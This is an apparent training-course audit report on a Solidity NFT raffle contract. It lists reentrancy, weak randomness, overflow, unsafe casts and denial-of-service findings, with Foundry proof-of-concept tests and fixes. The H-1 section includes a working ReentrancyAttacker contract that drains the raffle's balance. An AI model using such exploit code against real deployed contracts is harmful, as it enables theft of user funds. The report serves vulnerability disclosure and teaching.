

# **Protocol Audit Report**

Prepared by: Cyfrin

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

## **Protocol Summary**

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
  - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Oxshuayb team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

 Impact		
High	Medium	Low

### **Impact**

	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## **Audit Details**

Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

## Scope

• In Scope:

```
./src/
-- PuppyRaffle.sol
```

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

# **Executive Summary**

## Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

# **Findings**

## High

[H-1] Possible reentrancy attack in PuppyRaffle::refund that could drain the contract's balance

**Description** The PuppyRaffle::refund function floats CEI, updating the player's balance after making an external call to the msg.sender address.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@> payable(msg.sender).sendValue(entranceFee);

@> players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue to cycle this until the contract balance is drained.

**Impact** This could lead to loss of funds from the contract to the malicious participant's address.

#### **Proof of Concepts**

- 1. Users enters the raffle.
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.
- 3. Attacker enters the raffle.
- 4. Attacker calls PuppyRaffle::refund from their contract, draining the contract balance.

Add the code below to PuppyRaffleTest.t.sol test suite

#### ▶ PoC

```
function test_ReentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackerContractBalance =
address(attackerContract).balance;
```

```
uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
        console.log("Starting attacker contract balance",
startingAttackerContractBalance);
        console.log("Starting puppy contract balance",
startingPuppyRaffleBalance);
        console.log("Ending attacker contract balance",
address(attackerContract).balance);
        console.log("Ending puppy contract balance",
address(puppyRaffle).balance);
    }
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
}
```

**Recommended mitigation** To fix this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
    (bool success,) = msg.sender.call{value: entranceFee}("");
    require(success, "PuppyRaffle: Failed to refund player");
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in PuppyRaffle::selectWinner makes the winner selection process manipulatable and also the winning puppy predictable

**Description** The method used to generate the random number that was used in selecting the winner by hashing msg.sender, block.timestamp and block.difficulty can be manipulated by attacker to get a predictable number. A predictable number is not a random number as the attacker can use it to pick their desired winner.

*Note*: This additionally means users can front-run this function and call **refund** if they see they are not the winner.

```
function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
       require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
         uint256 winnerIndex =
@>
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        uint256 tokenId = totalSupply();
        // We use a different RNG calculate from the winnerIndex to
determine rarity
         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
```

```
block.difficulty))) % 100;
    if (rarity <= COMMON_RARITY) {
        tokenIdToRarity[tokenId] = COMMON_RARITY;
    } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
        tokenIdToRarity[tokenId] = RARE_RARITY;
    } else {
        tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}</pre>
```

**Impact** Any user can influence the winner of the raffle, winning the money and selecting the "rarest" puppy. Making the contract worthless if it becomes a gas war as to who wins the raffle.

**Proof of Concepts** There are a few attack vectors here.

- 1. Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
- 2. Users can manipulate the msg. sender value to result in their index being the winner.
- 3. Users can revert their selecWinner transaction if they do not like the winner or the resulting puppy.

**Recommended mitigation** Consider using a cryptographically proven random number generator for your randomness like Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

**Description** In solidity version lower than 0.8.0, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar gives 0
```

**Impact** In PuppyFees::selecWinner, totalFees are accumulated for the feeAddress to collectlater in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### **Proof of Concepts**

- 1. We conclude a raffle of 4 players.
- 2. We then have 89 players enter a new raffle and conclude the raffle.
- 3. totalFees will be:

4. You will not be able to withdraw due the line in PuppyRaffle::withdrawFees:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw fees but clearly this is not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

#### ► Code

```
function test_TotalFeesOverflow() public playersEntered {
        // We wrap up a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("Starting total fees", startingTotalFees);
        // We have 89 new players enter the raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
       // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        // We now have fewer fees even though we just ended a new raffle
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("Ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);</pre>
       // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
       puppyRaffle.withdrawFees();
   }
```

1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle::totalFees.

- 2. You could alsp use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

There are more attack vectors with the final require, so we recommend removing it regardless.

## Medium

[M-1] Looping throught the players array to check for duplicates in PuppyRaffle::enterRaffle is potential denial of service (DoS) as it increases gas cost for future entrants

**Description** The PuppyRaffle::enterRaffle loops through the players array to check for duplicates. However, the longer the players array is, the more checks it conducts. This implies that early entrants will pay ridicoulously low gas price compared to players who enter the raffle much later.

```
//@audit DoS Attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }
}</pre>
```

**Impact** The gas cost to enter the raffle increases greatly as more players enter the raffle. This discourages later users to enter the raffle as it is expensive to do so. Also, an attacker PuppyRaffle::entrants so big that no one else enters as they feel discouraged to do so, guaranteeing themselves the win.

#### **Proof of Concepts**

If we have 2 set of 100 players enter the raffle, the gas prices will be:

- first 100 players ~ 6252048 gas
- second 100 players ~ 18068138 gas

This is more than 3x expensive than the first 100 players.

#### ▶ PoC

```
function test_DenialOfService() public {
    // address[] memory players = new address[](1);
    // players[0] = playerOne;
    // puppyRaffle.enterRaffle{value: entranceFee}(players);
```

```
// assertEq(puppyRaffle.players(0), player0ne);
        vm.txGasPrice(1);
        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for the first 100 players", gasUsedFirst);
        // For the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // 0, 1, 2 => 100,
101, 102
        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas cost for the second 100 players", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);</pre>
    }
```

#### **Recommended mitigation** There are a few recommended mitigations.

- 1. Consider allowing duplicates. A duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
```

```
require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
            players.push(newPlayers[i]);
             addressToRaffleId[newPlayers[i]] = raffleId;
        }
        // Check for duplicates
        // Check for duplicates only from the new players
        for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
           require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
         for (uint256 i = 0; i < players.length; <math>i++) {
             for (uint256 j = i + 1; j < players.length; <math>j++) {
                  require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
         }
        emit RaffleEnter(newPlayers);
    }
    function selectWinner() external {
        raffleId = raffleId + 1;
+
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

#### [M-2] Unsafe cast of PuppyRaffle:: fee loses fees

**Description:** In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
    require(players.length > 0, "PuppyRaffle: No players in raffle");

    uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
    block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 fee = totalFees / 10;
    uint256 winnings = address(this).balance - fee;

@> totalFees = totalFees + uint64(fee);
    players = new address[](0);
    emit RaffleWinner(winner, winnings);
}
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

**Impact:** This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### **Proof of Concept:**

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:** Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
uint64 public totalFees = 0;
   uint256 public totalFees = 0;
+
   function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        totalFees = totalFees + fee;
+
```

[M-3] Raffle winners with a smart contract wallet without a receive of fallback function will block the start of a new contest

**Description** The PuppyRaffle::selectWinner function is responsible for ressetting the lottery. However, if the winner is a smart contract wallet taht rejects payment, the lottery will not be able to reset.

Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to duplicate check and a lottery reset would be very challenging

**Impact** The PuppyRaffle::selectWinnerfunction could revert many times, making a lottery reset difficult. Also, true winners would not get paid and someone else would take their money!

**Proof of Concepts** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The <a href="mailto:selectWinner">selectWinner</a> function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

- 1. Do not allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)

### Low

[L-1] PuppuRaffle::getActivePlayerIndex returns 0 for a non-existent player and for player at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle.

**Description** The PuppuRaffle::getActivePlayerIndex returns 0 for a player at index 0 but according to the natspec, it also returns 0 for a player that is not in the array.

```
/// @return the index of the player in the array, if they are not
active, it returns 0
  function getActivePlayerIndex(address player) external view returns
(uint256) {
  for (uint256 i = 0; i < players.length; i++) {
    if (players[i] == player) {
       return i;
    }
  }
  return 0;
}</pre>
```

**Impact** A the player at index may incorrectly think they have not entered the raffle and attempt to enter the raffle again, leading to waste of gas

#### **Proof of Concepts**

- 1. User enters the raffle as the first entrant.
- 2. PuppuRaffle::getActivePlayerIndex returns 0
- 3. User thinks the have not entered correctly due to the function documentation

**Recommended mitigation** The easiest recommendation would be to revert if the player has not entered the raffle instead of returning 0. You could also return an <a href="int256">int256</a> where the function returns -1 if the player is not active.

### Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

- ▶ 1 Found Instances
  - Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended

**Description** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommended mitigation** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

[I-3] Missing checks for add ress (0) when assigning values to address state variables

Check for address (0) when assigning values to address state variables.

- ▶ 2 Found Instances
  - Found in src/PuppyRaffle.sol Line: 62

```
feeAddress = _feeAddress;
```

Found in src/PuppyRaffle.sol Line: 169

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI

It is best to keep the code clean and follow CEI (Checks, Effect and Interactions).

### [I-5] Use of 'magic' numbers is discouraged

It can be confusing to see number literals in a code base and the code is much readable if the numbers are given a name

**Examples:** 

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

### [I-6] Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

#### ▶ 3 Found Instances

• Found in src/PuppyRaffle.sol Line: 53

```
event RaffleEnter(address[] newPlayers);
```

• Found in src/PuppyRaffle.sol Line: 54

```
event RaffleRefunded(address player);
```

• Found in src/PuppyRaffle.sol Line: 55

```
event FeeAddressChanged(address newFeeAddress);
```

[I-7] PuppyRaffle::\_isActivePlayer function is never used and should be removed

**Description:** The function PuppyRaffle::\_isActivePlayer is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
- for (uint256 i = 0; i < players.length; i++) {
- if (players[i] == msg.sender) {
- return true;
- }
- }
- return false;
- }</pre>
```

## Gas

[G-1] Unchanged variables should be constant or immutable

**Constant Instances:** 

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[G-2] Storage variables in a loop should be cached

Everytime you call players.length, you read from storage, as opposed to reading from memory which is more gas efficient.

```
+ uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
+ for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate</pre>
```

```
player");
}
}
```